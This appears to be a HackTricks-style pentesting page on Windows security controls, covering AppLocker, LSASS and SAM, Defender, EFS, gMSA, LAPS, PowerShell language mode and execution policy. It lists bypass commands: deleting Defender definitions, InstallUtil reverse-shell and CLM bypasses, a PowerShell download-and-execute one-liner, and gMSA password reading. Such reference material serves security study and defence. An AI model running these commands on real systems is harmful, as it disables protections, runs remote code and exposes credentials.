Windows Security Controls

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AppLocker Policy

An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization.

AppLocker is Microsoft's application whitelisting solution and gives system administrators control over which applications and files users can run. It provides granular control over executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers. It is common for organizations to block cmd.exe and PowerShell.exe and write access to certain directories, but this can all be bypassed.


Check which files/extensions are blacklisted/whitelisted:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective

This registry path contains the configurations and policies applied by AppLocker, providing a way to review the current set of rules enforced on the system:

  • HKLM\Software\Policies\Microsoft\Windows\SrpV2


  • Useful Writable folders to bypass AppLocker Policy: If AppLocker is allowing to execute anything inside C:\Windows\System32 or C:\Windows there are writable folders you can use to bypass this.

  • Commonly trusted "LOLBAS's" binaries can be also useful to bypass AppLocker.

  • Poorly written rules could also be bypassed

    • For example, <FilePathCondition Path="%OSDRIVE%*\allowed*"/>, you can create a folder called allowed anywhere and it will be allowed.

    • Organizations also often focus on blocking the %System32%\WindowsPowerShell\v1.0\powershell.exe executable, but forget about the other PowerShell executable locations such as %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe or PowerShell_ISE.exe.

  • DLL enforcement very rarely enabled due to the additional load it can put on a system, and the amount of testing required to ensure nothing will break. So using DLLs as backdoors will help bypassing AppLocker.

  • You can use ReflectivePick or SharpPick to execute Powershell code in any process and bypass AppLocker. For more info check:

Credentials Storage

Security Accounts Manager (SAM)

Local credentials are present in this file, the passwords are hashed.

Local Security Authority (LSA) - LSASS

The credentials (hashed) are saved in the memory of this subsystem for Single Sign-On reasons. LSA administrates the local security policy (password policy, users permissions...), authentication, access tokens... LSA will be the one that will check for provided credentials inside the SAM file (for a local login) and talk with the domain controller to authenticate a domain user.

The credentials are saved inside the process LSASS: Kerberos tickets, hashes NT and LM, easily decrypted passwords.

LSA secrets

LSA could save in disk some credentials:

  • Password of the computer account of the Active Directory (unreachable domain controller).

  • Passwords of the accounts of Windows services

  • Passwords for scheduled tasks

  • More (password of IIS applications...)


It is the database of the Active Directory. It is only present in Domain Controllers.


Microsoft Defender is an Antivirus that is available in Windows 10 and Windows 11, and in versions of Windows Server. It blocks common pentesting tools such as WinPEAS. However, there are ways to bypass these protections.


To check the status of Defender you can execute the PS cmdlet Get-MpComputerStatus (check the value of RealTimeProtectionEnabled to know if it's active):

PS C:\> Get-MpComputerStatus

AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
NISEnabled                      : False
NISEngineVersion                :
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

To enumerate it you could also run:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Encrypted File System (EFS)

EFS secures files through encryption, utilizing a symmetric key known as the File Encryption Key (FEK). This key is encrypted with the user's public key and stored within the encrypted file's $EFS alternative data stream. When decryption is needed, the corresponding private key of the user's digital certificate is used to decrypt the FEK from the $EFS stream. More details can be found here.

Decryption scenarios without user initiation include:

  • When files or folders are moved to a non-EFS file system, like FAT32, they are automatically decrypted.

  • Encrypted files sent over the network via SMB/CIFS protocol are decrypted prior to transmission.

This encryption method allows transparent access to encrypted files for the owner. However, simply changing the owner's password and logging in will not permit decryption.

Key Takeaways:

  • EFS uses a symmetric FEK, encrypted with the user's public key.

  • Decryption employs the user's private key to access the FEK.

  • Automatic decryption occurs under specific conditions, like copying to FAT32 or network transmission.

  • Encrypted files are accessible to the owner without additional steps.

Check EFS info

Check if a user has used this service checking if this path exists:C:\users\<username>\appdata\roaming\Microsoft\Protect

Check who has access to the file using cipher /c <file> You can also use cipher /e and cipher /d inside a folder to encrypt and decrypt all the files

Decrypting EFS files

Being Authority System

This way requires the victim user to be running a process inside the host. If that is the case, using a meterpreter sessions you can impersonate the token of the process of the user (impersonate_token from incognito). Or you could just migrate to process of the user.

Knowing the users password

Group Managed Service Accounts (gMSA)

Microsoft developed Group Managed Service Accounts (gMSA) to simplify the management of service accounts in IT infrastructures. Unlike traditional service accounts that often have the "Password never expire" setting enabled, gMSAs offer a more secure and manageable solution:

  • Automatic Password Management: gMSAs use a complex, 240-character password that automatically changes according to domain or computer policy. This process is handled by Microsoft's Key Distribution Service (KDC), eliminating the need for manual password updates.

  • Enhanced Security: These accounts are immune to lockouts and cannot be used for interactive logins, enhancing their security.

  • Multiple Host Support: gMSAs can be shared across multiple hosts, making them ideal for services running on multiple servers.

  • Scheduled Task Capability: Unlike managed service accounts, gMSAs support running scheduled tasks.

  • Simplified SPN Management: The system automatically updates the Service Principal Name (SPN) when there are changes to the computer's sAMaccount details or DNS name, simplifying SPN management.

The passwords for gMSAs are stored in the LDAP property msDS-ManagedPassword and are automatically reset every 30 days by Domain Controllers (DCs). This password, an encrypted data blob known as MSDS-MANAGEDPASSWORD_BLOB, can only be retrieved by authorized administrators and the servers on which the gMSAs are installed, ensuring a secure environment. To access this information, a secured connection such as LDAPS is required, or the connection must be authenticated with 'Sealing & Secure'.

You can read this password with GMSAPasswordReader:

/GMSAPasswordReader --AccountName jkohler

Find more info in this post

Also, check this web page about how to perform a NTLM relay attack to read the password of gMSA.


The Local Administrator Password Solution (LAPS), available for download from Microsoft, enables the management of local Administrator passwords. These passwords, which are randomized, unique, and regularly changed, are stored centrally in Active Directory. Access to these passwords is restricted through ACLs to authorized users. With sufficient permissions granted, the ability to read local admin passwords is provided.


PS Constrained Language Mode

PowerShell Constrained Language Mode locks down many of the features needed to use PowerShell effectively, such as blocking COM objects, only allowing approved .NET types, XAML-based workflows, PowerShell classes, and more.


#Values could be: FullLanguage or ConstrainedLanguage


#Easy bypass
Powershell -version 2

In current Windows that Bypass won't work but you can use PSByPassCLM. To compile it you may need to Add a Reference -> Browse ->Browse -> add C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll and change the project to .Net4.5.

Direct bypass:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Reverse shell:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost= /rport=443 /U c:\temp\psby.exe

You can use ReflectivePick or SharpPick to execute Powershell code in any process and bypass the constrained mode. For more info check:

PS Execution Policy

By default it is set to restricted. Main ways to bypass this policy:

1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

More can be found here

Security Support Provider Interface (SSPI)

Is the API that can be use to authenticate users.

The SSPI will be in charge of finding the adequate protocol for two machines that want to communicate. The preferred method for this is Kerberos. Then the SSPI will negotiate which authentication protocol will be used, these authentication protocols are called Security Support Provider (SSP), are located inside each Windows machine in the form of a DLL and both machines must support the same to be able to communicate.

Main SSPs

  • Kerberos: The preferred one

    • %windir%\Windows\System32\kerberos.dll

  • NTLMv1 and NTLMv2: Compatibility reasons

    • %windir%\Windows\System32\msv1_0.dll

  • Digest: Web servers and LDAP, password in form of a MD5 hash

    • %windir%\Windows\System32\Wdigest.dll

  • Schannel: SSL and TLS

    • %windir%\Windows\System32\Schannel.dll

  • Negotiate: It is used to negotiate the protocol to use (Kerberos or NTLM being Kerberos the default one)

    • %windir%\Windows\System32\lsasrv.dll

The negotiation could offer several methods or only one.

UAC - User Account Control

User Account Control (UAC) is a feature that enables a consent prompt for elevated activities.

pageUAC - User Account Control

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Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

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